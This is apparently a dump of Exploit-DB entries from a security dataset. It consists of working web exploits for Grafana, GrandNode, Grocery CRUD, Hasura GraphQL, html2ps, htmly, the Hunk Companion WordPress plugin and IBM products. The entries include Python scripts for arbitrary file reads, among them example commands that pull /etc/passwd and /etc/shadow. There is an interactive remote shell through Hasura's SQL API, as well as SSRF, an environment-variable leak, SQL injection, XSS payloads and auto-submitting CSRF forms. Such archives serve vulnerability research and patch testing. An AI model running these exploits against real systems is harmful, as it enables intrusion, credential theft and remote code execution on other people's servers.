deardaniel/secdata-raw huggingface dataset:
Exploit-DB #50581
Description: Grafana 8.3.0 - Directory Traversal and Arbitrary File Read
Type: webapps
Platform: multiple
Date: 2021-12-09
Author: s1gh

Exploit:
# Exploit Title: Grafana 8.3.0 - Directory Traversal and Arbitrary File Read
# Date: 08/12/2021
# Exploit Author: s1gh
# Vendor Homepage: https://grafana.com/
# Vulnerability Details: https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p
# Version: V8.0.0-beta1 through V8.3.0
# Description: Grafana versions 8.0.0-beta1 through 8.3.0 is vulnerable to directory traversal, allowing access to local files.
# CVE: CVE-2021-43798
# Tested on: Debian 10
# References: https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p47p

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import requests
import argparse
import sys
from random import choice

plugin_list = [
    "alertlist",
    "annolist",
    "barchart",
    "bargauge",
    "candlestick",
    "cloudwatch",
    "dashlist",
    "elasticsearch",
    "gauge",
    "geomap",
    "gettingstarted",
    "grafana-azure-monitor-datasource",
    "graph",
    "heatmap",
    "histogram",
    "influxdb",
    "jaeger",
    "logs",
    "loki",
    "mssql",
    "mysql",
    "news",
    "nodeGraph",
    "opentsdb",
    "piechart",
    "pluginlist",
    "postgres",
    "prometheus",
    "stackdriver",
    "stat",
    "state-timeline",
    "status-histor",
    "table",
    "table-old",
    "tempo",
    "testdata",
    "text",
    "timeseries",
    "welcome",
    "zipkin"
]

def exploit(args):
    s = requests.Session()
    headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.' }

    while True:
        file_to_read = input('Read file > ')

        try:
            url = args.host + '/public/plugins/' + choice(plugin_list) + '/../../../../../../../../../../../../..' + file_to_read
            req = requests.Request(method='GET', url=url, headers=headers)
            prep = req.prepare()
            prep.url = url
            r = s.send(prep, verify=False, timeout=3)

            if 'Plugin file not found' in r.text:
                print('[-] File not found\n')
            else:
                if r.status_code == 200:
                    print(r.text)
                else:
                    print('[-] Something went wrong.')
                    return
        except requests.exceptions.ConnectTimeout:
            print('[-] Request timed out. Please check your host settings.\n')
            return
        except Exception:
            pass

def main():
    parser = argparse.ArgumentParser(description="Grafana V8.0.0-beta1 - 8.3.0 - Directory Traversal and Arbitrary File Read")
    parser.add_argument('-H',dest='host',required=True, help="Target host")
    args = parser.parse_args()

    try:
        exploit(args)
    except KeyboardInterrupt:
        return


if __name__ == '__main__':
    main()
    sys.exit(0)
Exploit-DB #47027
Description: GrandNode 4.40 - Path Traversal / Arbitrary File Download
Type: webapps
Platform: multiple
Date: 2019-06-24
Author: Corey Robinson

Exploit:
# Exploit Title: GrandNode Path Traversal & Arbitrary File Download (Unauthenticated)
# Date: 06/23/3019
# Exploit Author: Corey Robinson (https://twitter.com/CRobSec)
# Vendor Homepage: https://grandnode.com/
# Software Link: https://github.com/grandnode/grandnode/archive/728ca1ea2f61aead7c8c443407096b0ef476e49e.zip
# Version: <= v4.40 (before 5/30/2019)
# Tested on: Ubuntu 18.04
# CVE: CVE-2019-12276

'''
CVE-2019-12276

A path traversal vulnerability in the LetsEncryptController allows remote unauthenticated users to 
view any files that the application has read/view permissions to. This vulnerability affects 
Windows and Unix operating systems.

For more details, see: https://security401.com/grandnode-path-traversal/

'''

import requests
import argparse

def exploit(url, file):
    
    session = requests.Session()

    paramsGet = {"fileName":file}
    rawBody = "\r\n"

    response = session.get("{}/LetsEncrypt/Index".format(url), data=rawBody, params=paramsGet)

    if "UnauthorizedAccessException" in response.content or response.status_code == 500:
        print("Access to the path '{}' is denied.".format(file))
        return	

    content_length = int(response.headers['Content-Length'])

    if content_length == 0:
        print("The '{}' file was not found.".format(file))	
    else:
        print("-" *22)
        print(response.content)
        print("-" *22)


if __name__ == "__main__":

    parser = argparse.ArgumentParser(description='GrandNode CVE-2019-12276 Path traversal & Arbitrary File Download')
    parser.add_argument('-u', action="store", dest="url", required=True, help='Target URL')
    parser.add_argument('-f', action="store", dest="file", required=True, help='The file to download')
    args = parser.parse_args()

    exploit(args.url, args.file)

# python gn.py -u http://172.16.2.22:5001 -f "/etc/passwd"
# python gn.py -u http://172.16.2.22:5001 -f "../../../App_Data/Settings.txt"
# python gn.py -u http://172.16.2.22:5001 -f "/etc/shadow"
# python gn.py -u http://172.16.2.22:5001 -f "../../../web.config"
Exploit-DB #49985
Description: Grocery crud 1.6.4 - 'order_by' SQL Injection
Type: webapps
Platform: multiple
Date: 2021-06-11
Author: TonyShavez

Exploit:
# Exploit Title: Grocery crud 1.6.4 - 'order_by' SQL Injection
# Date: 11/06/1963
# Exploit Author: TonyShavez
# Vendor Homepage: https://www.grocerycrud.com/
# Software Link: https://www.grocerycrud.com/downloads
# Version: < v2.0.1
# Tested on: [Linux Ubuntu]

Proof Of concept : 
=======================
#Request:

POST /path/to/ajax_list HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 68
DNT: 1
Connection: close

page=1&per_page=100&order_b=&order_by[]={INJECT HERE}&search_field=&search_text=
=======================
#vulnerable parameter :

order_by 
=======================
#type : [error-based]
Exploit-DB #49790
Description: Hasura GraphQL 1.3.3 - Local File Read
Type: webapps
Platform: multiple
Date: 2021-04-21
Author: Dolev Farhi

Exploit:
# Exploit Title: Hasura GraphQL 1.3.3 - Local File Read
# Software: Hasura GraphQL
# Software Link: https://github.com/hasura/graphql-engine
# Version: 1.3.3
# Exploit Author: Dolev Farhi
# Date: 4/19./2021
# Tested on: Ubuntu

import requests
import sys

HASURA_SCHEME = 'http'
HASURA_HOST = '192.168.1.1'
HASURA_PORT = 80
READ_FILE = '/etc/passwd'

def LFI(file):
    SQLI = "SELECT pg_read_file('../../../../../../../../../{}',0,1000);".format(file)
    data =  {"type":"bulk","args":[{"type":"run_sql","args":{"sql":SQLI,"cascade":False,"read_only":False}}]}
    endpoint = '{}://{}:{}/v1/query'.format(HASURA_SCHEME, HASURA_HOST, HASURA_PORT)
    r = requests.post(endpoint, json=data)
    return r.json()

res = LFI(READ_FILE)

try:
  print(res[0]['result'][1][0])
except:
  print(res)
Exploit-DB #49802
Description: Hasura GraphQL 1.3.3 - Remote Code Execution
Type: webapps
Platform: multiple
Date: 2021-04-26
Author: Dolev Farhi

Exploit:
# Exploit Title: Hasura GraphQL 1.3.3 - Remote Code Execution
# Software: Hasura GraphQL
# Software Link: https://github.com/hasura/graphql-engine
# Version: 1.3.3
# Exploit Author: Dolev Farhi
# Date: 4/23/2021
# Tested on: Ubuntu

import requests
import sys

HASURA_SCHEME = 'http'
HASURA_HOST = '192.34.57.144'
HASURA_PORT = 80

print('Start typing shell commands...')

while True:
  cmd = input('cmd $> ')
  data =  { "type":"bulk",
            "args":[
              {
                "type":"run_sql",
                "args":{
                  "sql":"SET LOCAL statement_timeout = 10000;","cascade":False,"read_only":False}
              },
              {
                "type":"run_sql",
                "args":{
                  "sql":"DROP TABLE IF EXISTS cmd_exec;\nCREATE TABLE cmd_exec(cmd_output text);\nCOPY cmd_exec FROM PROGRAM '" + cmd + "';\nSELECT * FROM cmd_exec;","cascade":False,"read_only":False}
              }
            ]
           }
  endpoint = '{}://{}:{}/v1/query'.format(HASURA_SCHEME, HASURA_HOST, HASURA_PORT)
  r = requests.post(endpoint, json=data)
  if r.ok:
    try:
      for i in r.json()[1]['result']:
        print(''.join(i))
    except:
      print(r.json())
Exploit-DB #49791
Description: Hasura GraphQL 1.3.3 - Service Side Request Forgery (SSRF)
Type: webapps
Platform: multiple
Date: 2021-04-21
Author: Dolev Farhi

Exploit:
# Exploit Title: Hasura GraphQL 1.3.3 - Service Side Request Forgery (SSRF)
# Software: Hasura GraphQL
# Software Link: https://github.com/hasura/graphql-engine
# Version: 1.3.3
# Exploit Author: Dolev Farhi
# Date: 4/19/2021
# Tested on: Ubuntu

import requests

HASURA_SCHEME = 'http'
HASURA_HOST = '192.168.1.1'
HASURA_PORT = 80

REMOTE_URL = 'http://some_remote_addr'

def SSRF(url):
  data = {
    "type":"bulk",
    "args":[
      {
       "type":"add_remote_schema",
       "args":{
         "name":"test",
         "definition":{
           "url":url,
           "headers":[],
           "timeout_seconds":60,
           "forward_client_headers":True
           }
         }
       }
      ]
    }
  endpoint = '{}://{}:{}/v1/query'.format(HASURA_SCHEME, HASURA_HOST, HASURA_PORT)
  r = requests.post(endpoint, json=data)
  return r.json()

res = SSRF(REMOTE_URL)

message = ''
raw_body = ''

try:
  if 'message' in res['internal']:
    message = res['internal'].get('message', '')
  if 'raw_body' in res['internal']:
    raw_body = res['internal'].get('raw_body', '')
except:
  pass

print('Remote URL: ' + REMOTE_URL)
print('Message: ' + message)
print('HTTP Raw Body: ' + raw_body)
print('Error: ' + res['error'])
Exploit-DB #50803
Description: Hasura GraphQL 2.2.0 - Information Disclosure
Type: webapps
Platform: multiple
Date: 2022-03-07
Author: Dolev Farhi

Exploit:
# Exploit Title: Hasura GraphQL 2.2.0 - Information Disclosure
# Software: Hasura GraphQL Community
# Software Link: https://github.com/hasura/graphql-engine
# Version: 2.2.0
# Exploit Author: Dolev Farhi
# Date: 5/05/2022
# Tested on: Ubuntu

import requests

SERVER_ADDR = 'x.x.x.x'

url = 'http://{}/v1/metadata'.format(SERVER_ADDR)

print('Hasura GraphQL Community 2.2.0 - Arbitrary Root Environment Variables Read')

while True:
    env_var = input('Type environment variable key to leak.\n> ')
    if not env_var:
        continue

    payload = {
    "type": "bulk",
    "source": "",
    "args": [
        {
            "type": "add_remote_schema",
            "args": {
                "name": "ttt",
                "definition": {
                    "timeout_seconds": 60,
                    "forward_client_headers": False,
                    "headers": [],
                    "url_from_env": env_var
                },
                "comment": ""
            }
        }
    ],
    "resource_version": 2
}
    r = requests.post(url, json=payload)
    try:
       print(r.json()['error'].split('not a valid URI:')[1])
    except IndexError:
        print('Could not parse out VAR, dumping error as is')
        print(r.json().get('error', 'N/A'))
Exploit-DB #10012
Description: html2ps - 'include file' Server-Side Include Directive Directory Traversal
Type: webapps
Platform: multiple
Date: 2009-09-25
Author: epiphant

Exploit:
#!/usr/bin/env python
#
# html2ps <= 1.0 beta5 arbitrary file disclosure
# http://user.it.uu.se/~jan/html2ps.html
# author: epiphant <epiphant.0@gmail.com>
#
# the "include file" ssi directive doesn't check for directory
# traversal so you can include and disclose any file in the
# dir tree (very handy when html2ps is running as a part of a
# web app with data that you control)
# the vuln requires that "ssi" in the @html2ps block in the
# html2psrc file is set to 1, which is the default
#
# bonus info: some of the backtick operators look shady too
# but will require lots of prerequisites so they're uncool
#
# shouts: thcx labs, zybadawg333, fabiodds, str0ke
# jan k: shame on you - your perl is very ugly
#

import os

d = """\
<html>
<head>
<title>epiphant</title>
</head>
<body>
<h1>epiphant</h1>
<!--#include file="../../../../../../../etc/passwd"-->
<p>epiphant</p>
</body>
</html>
"""

try:
  fi = open("epiphant.html", "w")
  fi.write(d)
  fi.close()
except:
  print "can't write here"
  exit(1)

os.system("html2ps epiphant.html > epiphant.ps")
os.system("gv epiphant.ps")
exit(0)
Exploit-DB #49772
Description: htmly 2.8.0 - 'description' Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: multiple
Date: 2021-04-15
Author: nu11secur1ty

Exploit:
# Exploit Title: htmly 2.8.0 - 'description' Stored Cross-Site Scripting (XSS)
# Authors: @nu11secur1ty & G.Dzhankushev
# Date: 04.15.2021
# Vendor Homepage: https://www.htmly.com/
# Software Link: https://github.com/danpros/htmly
# CVE: CVE-2021-30637

#!/usr/bin/python3

from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
import time


#enter the link to the website you want to automate login.
website_link="http://localhost/htmly/login"

#enter your login username
username="nu11secur1ty"

#enter your login password
[CREDENTIAL_REDACTED]"

#enter the element for username input field
element_for_username="user"
#enter the element for password input field
element_for_[CREDENTIAL_REDACTED]"
#enter the element for submit button
element_for_submit="submit"


#browser = webdriver.Safari()	#for macOS users[for others use chrome vis chromedriver]
browser = webdriver.Chrome()	#uncomment this line,for chrome users
#browser = webdriver.Firefox()	#uncomment this line,for chrome users

browser.get((website_link))	

try:
	username_element = browser.find_element_by_name(element_for_username)
	username_element.send_keys(username)		
	password_element  = browser.find_element_by_name(element_for_password)
	password_element.send_keys(password)
	signInButton = browser.find_element_by_name(element_for_submit)
	signInButton.click()
	
	# Exploit .ini
	browser.get(("http://localhost/htmly/admin/config"))	
	browser.execute_script("document.querySelector('[name=\"-config-blog.description\"]').innerText = '</span><img src=1 onerror=alert(1) /><span>'") 
	time.sleep(3)
	browser.execute_script("document.querySelector('.btn.btn-primary').click()")

	print("payload is deployed...\n")
	
except Exception:
	#### This exception occurs if the element are not found in the webpage.
	print("Some error occured :(")
Exploit-DB #52259
Description: Hunk Companion Plugin 1.9.0 - Unauthenticated Plugin Installation
Type: webapps
Platform: multiple
Date: 2025-04-18
Author: Jun Takemura

Exploit:
# Exploit Title: Hunk Companion Plugin 1.9.0 - Unauthenticated Plugin Installation
# Date: 16 December, 2024
# Exploit Author: Jun Takemura
# Author's GitHub: https://github.com/JunTakemura
# Author's Blog: juntakemura.dev
# Vendor Homepage: https://themehunk.com
# Software Link: https://wordpress.org/plugins/hunk-companion/
# Version: Tested on Hunk Companion 1.8.8
# CVE: CVE-2024-11972
# Vulnerability Description:
#     Exploits a flaw in the Hunk Companion plugin's permission_callback for the
#     /wp-json/hc/v1/themehunk-import endpoint, allowing unauthenticated attackers
#     to install and activate arbitrary plugins from the WordPress.org repository.
# Tested on: Ubuntu
# Original vulnerability discovered by: Daniel Rodriguez
#
# Usage:
#     1. Update `target_url` below with the target WordPress site's URL.
#     2. Update `plugin_name` with the slug of the plugin you want to install.
#     3. Run: python3 exploit.py
#
import requests
from urllib.parse import urljoin

# Update 'URL' with your target WordPress site URL, for example "http://localhost/wordpress"
target_url = "URL"

# Update 'NAME' with desired plugin's name (slug), for example "wp-query-console"
plugin_name = "NAME"

endpoint = "/wp-json/hc/v1/themehunk-import"
url = urljoin(target_url, endpoint)

payload = {
    "params": {
        "plugin": {
            plugin_name: "Plugin Label"
        },
        "allPlugins": [
            {
                plugin_name: f"{plugin_name}/{plugin_name}.php"
            }
        ],
        "themeSlug": "theme",
        "proThemePlugin": "plugin",
        "templateType": "free",
        "tmplFreePro": "theme",
        "wpUrl": target_url
    }
}

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64)",
    "Content-Type": "application/json"
}

try:
    response = requests.post(url, json=payload, headers=headers, timeout=10)
    response.raise_for_status()  # Raises an HTTPError if the response is not 2xx

    print(f"[+] Exploit sent successfully.")
    print(f"Response Status Code: {response.status_code}")
    print(f"Response Body: {response.text}")
except requests.exceptions.RequestException as e:
    print(f"[-] Request failed: {e}")
Exploit-DB #32895
Description: IBM Bladecenter Advanced Management Module 1.42 - '/private/file_Management.ssi?PATH' Cross-Site Scripting
Type: webapps
Platform: multiple
Date: 2009-04-09
Author: Henri Lindberg

Exploit:
source: https://www.securityfocus.com/bid/34447/info
 
IBM BladeCenter Advanced Management Module is prone to the following remote vulnerabilities:
 
- An HTML-injection vulnerability
- A cross-site scripting vulnerability
- An information-disclosure vulnerability
- Multiple cross-site request-forgery vulnerabilities
 
An attacker can exploit these issues to obtain sensitive information, execute arbitrary script code, steal cookie-based authentication credentials, and perform actions as an authenticated user of the application. Other attacks are also possible.
 
Versions prior to BladeCenter Advanced Management Module 1.42U are vulnerable. 

http://example.com/private/file_management.ssi?PATH=/etc"><script%20src="http://www.example.com"></script>
Exploit-DB #32896
Description: IBM Bladecenter Advanced Management Module 1.42 - Cross-Site Request Forgery
Type: webapps
Platform: multiple
Date: 2009-04-09
Author: Henri Lindberg

Exploit:
source: https://www.securityfocus.com/bid/34447/info
  
IBM BladeCenter Advanced Management Module is prone to the following remote vulnerabilities:
  
- An HTML-injection vulnerability
- A cross-site scripting vulnerability
- An information-disclosure vulnerability
- Multiple cross-site request-forgery vulnerabilities
  
An attacker can exploit these issues to obtain sensitive information, execute arbitrary script code, steal cookie-based authentication credentials, and perform actions as an authenticated user of the application. Other attacks are also possible.
  
Versions prior to BladeCenter Advanced Management Module 1.42U are vulnerable. 

<html> <body onload="document.foobar.submit()"> <form name="foobar" method="post" action="http://example.com/private/blade_power_action" style="display:none"> <input name="COMMAND" value="6.3.2"> <input name="STATE" value="0"> <input name="CHECKED" value="15"> <input name="selall" value="on"> <input name="sel" value="bl1"> <input name="sel" value="bl2"> <input name="sel" value="bl3"> <input name="sel" value="bl4"> <input name="JUNK" value="1"> </form> <body> </html>
Exploit-DB #32894
Description: IBM Bladecenter Advanced Management Module 1.42 - Login 'Username' Cross-Site Scripting
Type: webapps
Platform: multiple
Date: 2009-04-09
Author: Henri Lindberg

Exploit:
source: https://www.securityfocus.com/bid/34447/info

IBM BladeCenter Advanced Management Module is prone to the following remote vulnerabilities:

- An HTML-injection vulnerability
- A cross-site scripting vulnerability
- An information-disclosure vulnerability
- Multiple cross-site request-forgery vulnerabilities

An attacker can exploit these issues to obtain sensitive information, execute arbitrary script code, steal cookie-based authentication credentials, and perform actions as an authenticated user of the application. Other attacks are also possible.

Versions prior to BladeCenter Advanced Management Module 1.42U are vulnerable. 

For the HTML-injection issue:
username: </script><script src="//www.example.com"></script><script>
Exploit-DB #15473
Description: IBM OmniFind - Cross-Site Request Forgery
Type: webapps
Platform: multiple
Date: 2010-11-09
Author: Fatih Kilic

Exploit:
The forms in the administrator interface are not protected against XSRF. The 
attacker can do any action in the context of the victim. 

An example attack scenario could be:
The attacker creates a malicious website with a prepared form to add a new
user, which will be submitted on load. 


Exploit to add an admin user:
<html>
  <head><title>Some seemingly benign web-site</title></head>
  <body onLoad="document.forms[0].submit();">

    <form method="post"
  action="http://omnifind-host/ESAdmin/security.do">
      <input type="hidden" name="command" value="saveNewUser"/>
      <input type="hidden" name="user.name" value="joemueller"/>
      <input type="hidden" name="user.role" value="0"/>
      <input type="hidden" name="user.allCollections" value="true"/>
      <input type="hidden" name="apply" value="OK"/>
    </form>
  </body>
</html>
Exploit-DB #32631
Description: IBM Rational ClearCase 7/8 - Cross-Site Scripting
Type: webapps
Platform: multiple
Date: 2008-12-01
Author: IBM

Exploit:
source: https://www.securityfocus.com/bid/32574/info

IBM Rational ClearCase is prone to a cross-site scripting vulnerability because the software fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

The issue affects versions prior to Rational ClearCase 7.0.0.4 and 7.0.1.3.

http://www.example.com/ccrc/??''??script?alert(1234)?/script?=123